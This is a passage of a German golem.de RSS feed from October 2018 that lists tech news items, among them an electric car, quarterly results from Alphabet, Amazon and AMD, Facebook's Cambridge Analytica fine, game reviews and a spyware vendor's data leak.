nicht mehr wie geplant in diesem Jahr starten. Nach Angaben von Firmenchef Elon Musk verschiebt sich das Vorhaben auf 2019. (<a href=\"https://www.golem.de/specials/solarenergie/\">Solarenergie</a>, <a href=\"https://www.golem.de/specials/technologie/\">Technologie</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137334&amp;page=1&amp;ts=1540532460\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>47</slash:comments>\n        </item>\n        <item>\n            <title>Uniti One: Elektroauto fr 15.000 Euro wird in Grobritannien gebaut</title>\n            <link>https://www.golem.de/news/uniti-one-elektroauto-fuer-15-000-euro-wird-in-grossbritannien-gebaut-1810-137333-rss.html</link>\n            <description>Das schwedische Unternehmen Uniti will sein Elektroauto One in Grobritannien bauen. Einen fahrenden Prototyp des Uniti One gibt es schon. Das Auto soll je nach Modell fr 15.000 bis 20.000 Euro auf den Markt kommen. (&lt;a href=&quot;https://www.golem.de/specials/elektroauto/&quot;&gt;Elektroauto&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/technologie/&quot;&gt;Technologie&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137333&amp;amp;page=1&amp;amp;ts=1540531080&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/automobil/uniti-one-elektroauto-fuer-15.000-euro-wird-in-grossbritannien-gebaut/121554,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 06:18:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137333-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1805/134432-163131-163128_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Das schwedische Unternehmen Uniti will sein Elektroauto One in Grobritannien bauen. Einen fahrenden Prototyp des Uniti One gibt es schon. Das Auto soll je nach Modell fr 15.000 bis 20.000 Euro auf den Markt kommen. (<a href=\"https://www.golem.de/specials/elektroauto/\">Elektroauto</a>, <a href=\"https://www.golem.de/specials/technologie/\">Technologie</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137333&amp;page=1&amp;ts=1540531080\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>28</slash:comments>\n        </item>\n        <item>\n            <title>Quartalsbericht: Alphabet macht in drei Monaten 9,2 Milliarden Dollar Gewinn</title>\n            <link>https://www.golem.de/news/quartalsbericht-alphabet-macht-in-drei-monaten-9-2-milliarden-dollar-gewinn-1810-137337-rss.html</link>\n            <description>Alphabet erwirtschaftet weiter extrem hohe Gewinne, der Umsatz wchst nicht ganz so stark. Google muss zugleich auf eine Enthllung in der US-Presse zu sexueller Belstigung um Android-Begrnder Andy Rubin reagieren. (&lt;a href=&quot;https://www.golem.de/specials/google/&quot;&gt;Google&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/boerse/&quot;&gt;Brse&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137337&amp;amp;page=1&amp;amp;ts=1540504320&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/wirtschaft/quartalsbericht-alphabet-macht-in-drei-monaten-9-2-milliarden-dollar-gewinn/121553,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 22:52:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137337-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137053-176114-176111_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Alphabet erwirtschaftet weiter extrem hohe Gewinne, der Umsatz wchst nicht ganz so stark. Google muss zugleich auf eine Enthllung in der US-Presse zu sexueller Belstigung um Android-Begrnder Andy Rubin reagieren. (<a href=\"https://www.golem.de/specials/google/\">Google</a>, <a href=\"https://www.golem.de/specials/boerse/\">Brse</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137337&amp;page=1&amp;ts=1540504320\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>12</slash:comments>\n        </item>\n        <item>\n            <title>Quartalsbericht: Amazon verfehlt die Umsatzprognosen</title>\n            <link>https://www.golem.de/news/quartalsbericht-amazon-verfehlt-die-umsatzprognosen-1810-137336-rss.html</link>\n            <description>Amazon weist erneut einen hohen Gewinn aus. Doch der Konzern lag beim Umsatz unter den Prognosen der Analysten. (&lt;a href=&quot;https://www.golem.de/specials/amazon/&quot;&gt;Amazon&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/onlineshop/&quot;&gt;Onlineshop&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137336&amp;amp;page=1&amp;amp;ts=1540500780&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/wirtschaft/quartalsbericht-amazon-verfehlt-die-umsatzprognosen/121552,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 21:53:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137336-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137336-177432-177429_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Amazon weist erneut einen hohen Gewinn aus. Doch der Konzern lag beim Umsatz unter den Prognosen der Analysten. (<a href=\"https://www.golem.de/specials/amazon/\">Amazon</a>, <a href=\"https://www.golem.de/specials/onlineshop/\">Onlineshop</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137336&amp;page=1&amp;ts=1540500780\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>24</slash:comments>\n        </item>\n        <item>\n            <title>Datenskandal: Britische Datenschutzbehrde verurteilt Facebook</title>\n            <link>https://www.golem.de/news/datenskandal-britische-datenschutzbehoerde-verurteilt-facebook-1810-137332-rss.html</link>\n            <description>Im Skandal um Cambridge Analytica hat die britische Datenschutzbehrde die Hchststrafe von 500.000 Pfund verhngt. Facebook habe einen schweren Versto gegen geltendes Recht zugelassen. (&lt;a href=&quot;https://www.golem.de/specials/facebook/&quot;&gt;Facebook&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/socialnetwork/&quot;&gt;Soziales Netz&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137332&amp;amp;page=1&amp;amp;ts=1540483080&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/security/datenskandal-britische-datenschutzbehoerde-verurteilt-facebook/121550,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 16:58:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137332-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137332-177420-177419_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Im Skandal um Cambridge Analytica hat die britische Datenschutzbehrde die Hchststrafe von 500.000 Pfund verhngt. Facebook habe einen schweren Versto gegen geltendes Recht zugelassen. (<a href=\"https://www.golem.de/specials/facebook/\">Facebook</a>, <a href=\"https://www.golem.de/specials/socialnetwork/\">Soziales Netz</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137332&amp;page=1&amp;ts=1540483080\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>35</slash:comments>\n        </item>\n        <item>\n            <title>Corsair: Neue K70 MK.2 kommt mit Cherrys Low-Profile-Switches</title>\n            <link>https://www.golem.de/news/corsair-neue-k70-mk-2-kommt-mit-cherrys-low-profile-switches-1810-137331-rss.html</link>\n            <description>Corsair erweitert sein Tastaturportefeuille um zwei Gaming-Tastaturen mit Cherrys flachen Low-Profile-Switches. Ein Modell hat Schalter mit einem besonders kurzem Auslseweg von 1 mm - die Schalter darf Corsair exklusiv verwenden. (&lt;a href=&quot;https://www.golem.de/specials/corsair/&quot;&gt;Corsair&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/eingabegeraet/&quot;&gt;Eingabegert&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137331&amp;amp;page=1&amp;amp;ts=1540480320&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/sonstiges/corsair-neue-k70-mk.2-kommt-mit-cherrys-low-profile-switches/121549,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 16:12:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137331-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137331-177413-177410_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Corsair erweitert sein Tastaturportefeuille um zwei Gaming-Tastaturen mit Cherrys flachen Low-Profile-Switches. Ein Modell hat Schalter mit einem besonders kurzem Auslseweg von 1 mm - die Schalter darf Corsair exklusiv verwenden. (<a href=\"https://www.golem.de/specials/corsair/\">Corsair</a>, <a href=\"https://www.golem.de/specials/eingabegeraet/\">Eingabegert</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137331&amp;page=1&amp;ts=1540480320\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>19</slash:comments>\n        </item>\n        <item>\n            <title>Cambridge-Analytica-Skandal: EU-Parlament fordert schrfere Kontrolle von Facebook</title>\n            <link>https://www.golem.de/news/cambridge-analytica-skandal-eu-parlament-fordert-schaerfere-kontrolle-von-facebook-1810-137329-rss.html</link>\n            <description>Die EU-Abgeordneten haben als Reaktion auf die Datenschutzverste von Facebook und Cambridge Analytica Behrden angehalten, ihre Aktivitten auf dem Netzwerk zu berdenken. Profiling zu politischen Zwecken wollen sie verbieten. Von Stefan Krempl (&lt;a href=&quot;https://www.golem.de/specials/facebook/&quot;&gt;Facebook&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/socialnetwork/&quot;&gt;Soziales Netz&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137329&amp;amp;page=1&amp;amp;ts=1540479120&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/security/cambridge-analytica-skandal-eu-parlament-fordert-schaerfere-kontrolle-von-facebook/121548,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 15:52:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137329-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137329-177404-177403_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Die EU-Abgeordneten haben als Reaktion auf die Datenschutzverste von Facebook und Cambridge Analytica Behrden angehalten, ihre Aktivitten auf dem Netzwerk zu berdenken. Profiling zu politischen Zwecken wollen sie verbieten. Von Stefan Krempl (<a href=\"https://www.golem.de/specials/facebook/\">Facebook</a>, <a href=\"https://www.golem.de/specials/socialnetwork/\">Soziales Netz</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137329&amp;page=1&amp;ts=1540479120\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>3</slash:comments>\n        </item>\n        <item>\n            <title>Kuriosum: Das Hellgate London ffnet sich mal wieder</title>\n            <link>https://www.golem.de/news/kuriosum-das-hellgate-london-oeffnet-sich-mal-wieder-1810-137328-rss.html</link>\n            <description>Einer der groen Trash-Klassiker der Spielegeschichte wagt einen neuen Anlauf: Mitte November 2018 soll ein neue, fr Einzelspieler ausgelegte Windows-Fassung von Hellgate London erscheinen. Das Ursprungskonzept hatten sich ehemalige Blizzard-Chefentwickler ausgedacht. (&lt;a href=&quot;https://www.golem.de/specials/rollenspiel/&quot;&gt;Rollenspiel&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/steam/&quot;&gt;Steam&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137328&amp;amp;page=1&amp;amp;ts=1540476600&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/games/kuriosum-das-hellgate-london-oeffnet-sich-mal-wieder/121547,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 15:10:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137328-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137328-177396-177392_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Einer der groen Trash-Klassiker der Spielegeschichte wagt einen neuen Anlauf: Mitte November 2018 soll ein neue, fr Einzelspieler ausgelegte Windows-Fassung von Hellgate London erscheinen. Das Ursprungskonzept hatten sich ehemalige Blizzard-Chefentwickler ausgedacht. (<a href=\"https://www.golem.de/specials/rollenspiel/\">Rollenspiel</a>, <a href=\"https://www.golem.de/specials/steam/\">Steam</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137328&amp;page=1&amp;ts=1540476600\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>61</slash:comments>\n        </item>\n        <item>\n            <title>Tweether: 10 GBit/s ber einen Quadratkilometer verteilt</title>\n            <link>https://www.golem.de/news/tweether-10-gbit-s-ueber-einen-quadratkilometer-verteilt-1810-137326-rss.html</link>\n            <description>Eine neue Technologie verteilt 10 GBit/s ber eine groe Flche. Der erste Feldversuch ist erfolgreich verlaufen. Zum ersten Mal wurde ein stabiles drahtloses Netzwerk bei diesen Frequenzen und mit diesen Datenraten betrieben. (&lt;a href=&quot;https://www.golem.de/specials/wissenschaft/&quot;&gt;Wissenschaft&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/mobil/&quot;&gt;Mobil&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137326&amp;amp;page=1&amp;amp;ts=1540475400&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/wissenschaft/tweether-10-gbit-s-ueber-einen-quadratkilometer-verteilt/121546,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 14:50:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137326-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137326-177391-177388_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Eine neue Technologie verteilt 10 GBit/s ber eine groe Flche. Der erste Feldversuch ist erfolgreich verlaufen. Zum ersten Mal wurde ein stabiles drahtloses Netzwerk bei diesen Frequenzen und mit diesen Datenraten betrieben. (<a href=\"https://www.golem.de/specials/wissenschaft/\">Wissenschaft</a>, <a href=\"https://www.golem.de/specials/mobil/\">Mobil</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137326&amp;page=1&amp;ts=1540475400\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>20</slash:comments>\n        </item>\n        <item>\n            <title>Red Dead Redemption 2: Saloon-Prgelei (der Worte) im Livestream</title>\n            <link>https://www.golem.de/news/red-dead-redemption-2-saloon-pruegelei-der-worte-im-livestream-1810-137312-rss.html</link>\n            <description> Die Golem.de-Redakteure Peter Steinlechner und Michael Wieczorek diskutieren gemeinsam mit unserer Community ber den Test zu Red Dead Redemption 2 live ab 18 Uhr. (&lt;a href=&quot;https://www.golem.de/specials/red-dead-redemption-2/&quot;&gt;Red Dead Redemption 2&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/spieletest/&quot;&gt;Spieletest&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137312&amp;amp;page=1&amp;amp;ts=1540474200&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/games/red-dead-redemption-2-saloon-pruegelei-der-worte-im-livestream/121545,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 14:30:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137312-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137312-177341-177338_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\"> Die Golem.de-Redakteure Peter Steinlechner und Michael Wieczorek diskutieren gemeinsam mit unserer Community ber den Test zu Red Dead Redemption 2 live ab 18 Uhr. (<a href=\"https://www.golem.de/specials/red-dead-redemption-2/\">Red Dead Redemption 2</a>, <a href=\"https://www.golem.de/specials/spieletest/\">Spieletest</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137312&amp;page=1&amp;ts=1540474200\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments />\n        </item>\n        <item>\n            <title>Wolf Intelligence: Trojanerfirma aus Deutschland lsst interne Daten im Netz</title>\n            <link>https://www.golem.de/news/wolf-intelligence-trojanerfirma-aus-deutschland-laesst-interne-daten-im-netz-1810-137323-rss.html</link>\n            <description>Wolf Intelligence verkauft Schadsoftware an Staaten. Eine Sicherheitsfirma hat sensible Daten des Unternehmens ffentlich zugnglich im Internet gefunden. In einer Prsentation wurden die Funde gezeigt. (&lt;a href=&quot;https://www.golem.de/specials/trojaner/&quot;&gt;Trojaner&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/virus/&quot;&gt;Virus&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137323&amp;amp;page=1&amp;amp;ts=1540472400&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/security/wolf-intelligence-trojanerfirma-aus-deutschland-laesst-interne-daten-im-netz/121543,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 14:00:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137323-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137323-177383-177380_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Wolf Intelligence verkauft Schadsoftware an Staaten. Eine Sicherheitsfirma hat sensible Daten des Unternehmens ffentlich zugnglich im Internet gefunden. In einer Prsentation wurden die Funde gezeigt. (<a href=\"https://www.golem.de/specials/trojaner/\">Trojaner</a>, <a href=\"https://www.golem.de/specials/virus/\">Virus</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137323&amp;page=1&amp;ts=1540472400\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>16</slash:comments>\n        </item>\n        <item>\n            <title>NBN: Der Top-Nutzer verwendet 24 TByte im Monat</title>\n            <link>https://www.golem.de/news/nbn-der-top-nutzer-verwendet-24-tbyte-im-monat-1810-137324-rss.html</link>\n            <description> Ein staatliches FTTH-Netzwerk fr fast alle in Australien bis 2017 war einst das Ziel. Doch davon ist beim (NBN) National Broadband Network nicht mehr viel brig geblieben. In Berlin wurde eine Zwischenbilanz gezogen. (&lt;a href=&quot;https://www.golem.de/specials/festnetz/&quot;&gt;Festnetz&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/dsl/&quot;&gt;DSL&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137324&amp;amp;page=1&amp;amp;ts=1540471380&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/internet/nbn-der-top-nutzer-verwendet-24-tbyte-im-monat/121542,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 13:43:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137324-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137324-177387-177384_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\"> Ein staatliches FTTH-Netzwerk fr fast alle in Australien bis 2017 war einst das Ziel. Doch davon ist beim (NBN) National Broadband Network nicht mehr viel brig geblieben. In Berlin wurde eine Zwischenbilanz gezogen. (<a href=\"https://www.golem.de/specials/festnetz/\">Festnetz</a>, <a href=\"https://www.golem.de/specials/dsl/\">DSL</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137324&amp;page=1&amp;ts=1540471380\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>51</slash:comments>\n        </item>\n        <item>\n            <title>Linux-Kernel: Mit Machine Learning auf der Suche nach Bug-Fixes</title>\n            <link>https://www.golem.de/news/linux-kernel-mit-machine-learning-auf-der-suche-nach-bug-fixes-1810-137321-rss.html</link>\n            <description>Wichtige Patches, die in stabilen Kernel-Versionen landen sollten, werden von der Linux-Community oft vergessen oder bersehen. Abhilfe schaffen soll offenbar Machine Learning, wie die Entwickler Sasha Levin und Julia Lawall erklren. (&lt;a href=&quot;https://www.golem.de/specials/linux-kernel/&quot;&gt;Linux-Kernel&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/linux/&quot;&gt;Linux&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137321&amp;amp;page=1&amp;amp;ts=1540468800&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/security/linux-kernel-mit-machine-learning-auf-der-suche-nach-bug-fixes/121541,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 13:00:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137321-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137321-177375-177372_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Wichtige Patches, die in stabilen Kernel-Versionen landen sollten, werden von der Linux-Community oft vergessen oder bersehen. Abhilfe schaffen soll offenbar Machine Learning, wie die Entwickler Sasha Levin und Julia Lawall erklren. (<a href=\"https://www.golem.de/specials/linux-kernel/\">Linux-Kernel</a>, <a href=\"https://www.golem.de/specials/linux/\">Linux</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137321&amp;page=1&amp;ts=1540468800\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>4</slash:comments>\n        </item>\n        <item>\n            <title>Quartalszahlen: AMDs Aktie gibt wegen miger Aussichten nach</title>\n            <link>https://www.golem.de/news/quartalszahlen-amds-aktie-gibt-wegen-maessiger-aussichten-nach-1810-137320-rss.html</link>\n            <description>Im dritten Quartal 2018 konnte AMD zwar Umsatz und Gewinn steigern, aber nicht so stark wie erwartet. Die Aktie brach dennoch von ber 25 US-Dollar auf 17 US-Dollar ein, da das vierte Quartal schlechter laufen wird als von den Anlegern gedacht - hier wurde zu viel erwartet. (&lt;a href=&quot;https://www.golem.de/specials/amd/&quot;&gt;AMD&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/cpu/&quot;&gt;Prozessor&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137320&amp;amp;page=1&amp;amp;ts=1540467600&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/wirtschaft/quartalszahlen-amds-aktie-gibt-wegen-maessiger-aussichten-nach/121540,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 12:40:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137320-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137320-177379-177376_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Im dritten Quartal 2018 konnte AMD zwar Umsatz und Gewinn steigern, aber nicht so stark wie erwartet. Die Aktie brach dennoch von ber 25 US-Dollar auf 17 US-Dollar ein, da das vierte Quartal schlechter laufen wird als von den Anlegern gedacht - hier wurde zu viel erwartet. (<a href=\"https://www.golem.de/specials/amd/\">AMD</a>, <a href=\"https://www.golem.de/specials/cpu/\">Prozessor</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137320&amp;page=1&amp;ts=1540467600\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>17</slash:comments>\n        </item>\n        <item>\n            <title>Projekt Broadband: Bahn will 3,5 Milliarden Euro vom Bund fr Glasfasernetz</title>\n            <link>https://www.golem.de/news/projekt-broadband-bahn-will-3-5-milliarden-euro-vom-bund-fuer-glasfasernetz-1810-137322-rss.html</link>\n            <description>Die Plne fr das eigene Glasfasernetz der Deutschen Bahn werden konkret. ber die Finanzierung redet man jetzt mit der Regierung. Das Netz soll schnell gebaut werden. (&lt;a href=&quot;https://www.golem.de/specials/deutsche-bahn/&quot;&gt;Deutsche Bahn&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/umts/&quot;&gt;UMTS&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137322&amp;amp;page=1&amp;amp;ts=1540466580&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/internet/projekt-broadband-bahn-will-3-5-milliarden-euro-vom-bund-fuer-glasfasernetz/121539,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 12:23:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137322-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1808/136062-171340-171337_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Die Plne fr das eigene Glasfasernetz der Deutschen Bahn werden konkret. ber die Finanzierung redet man jetzt mit der Regierung. Das Netz soll schnell gebaut werden. (<a href=\"https://www.golem.de/specials/deutsche-bahn/\">Deutsche Bahn</a>, <a href=\"https://www.golem.de/specials/umts/\">UMTS</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137322&amp;page=1&amp;ts=1540466580\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>31</slash:comments>\n        </item>\n        <item>\n            <title>Red Dead Redemption 2 im Test: Der Revolverhelden-Simulator</title>\n            <link>https://www.golem.de/news/red-dead-redemption-2-im-test-der-revolverhelden-simulator-1810-137304-rss.html</link>\n            <description>Reiten, prgeln, kochen, jagen, schieen, bse sein oder (relativ) brav: In Red Dead Redemption 2 gibt es enorme Mglichkeiten, sich als Revolverheld in einer wunderschnen Westernwelt auszuleben. Das Actionspiel von Rockstar Games ist ein groer Spa - aber nicht ganz so gut wie GTA 5. Von Peter Steinlechner (&lt;a href=&quot;https://www.golem.de/specials/red-dead-redemption-2/&quot;&gt;Red Dead Redemption 2&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/spieletest/&quot;&gt;Spieletest&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137304&amp;amp;page=1&amp;amp;ts=1540465260&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/games/red-dead-redemption-2-im-test-der-revolverhelden-simulator/121537,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 12:01:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137304-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137304-177303-177300_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Reiten, prgeln, kochen, jagen, schieen, bse sein oder (relativ) brav: In Red Dead Redemption 2 gibt es enorme Mglichkeiten, sich als Revolverheld in einer wunderschnen Westernwelt auszuleben. Das Actionspiel von Rockstar Games ist ein groer Spa - aber nicht ganz so gut wie GTA 5. Von Peter Steinlechner (<a href=\"https://www.golem.de/specials/red-dead-redemption-2/\">Red Dead Redemption 2</a>, <a href=\"https://www.golem.de/specials/spieletest/\">Spieletest</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137304&amp;page=1&amp;ts=1540465260\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>107</slash:comments>\n        </item>\n        <item>\n            <title>Xiaomi: Das Mi Mix 3 hat keine Notch und eine versteckte Frontkamera</title>\n            <link>https://www.golem.de/news/xiaomi-das-mi-mix-3-hat-keine-notch-und-eine-versteckte-frontkamera-1810-137319-rss.html</link>\n            <description>Das Display von Xiaomis angekndigtem Smartphone Mi Mix 3 ist nahezu randlos. Die Frontkamera versteckt das Gert hinter der aufschiebbaren Schale. Neu ist zudem, dass Xiaomi ein OLED-Panel verbaut und wieder den Qi-Ladestandard nutzt. (&lt;a href=&quot;https://www.golem.de/specials/xiaomi/&quot;&gt;Xiaomi&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/smartphone/&quot;&gt;Smartphone&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137319&amp;amp;page=1&amp;amp;ts=1540464540&quot; alt=&quot;&quot; width=&quot;1&quot; 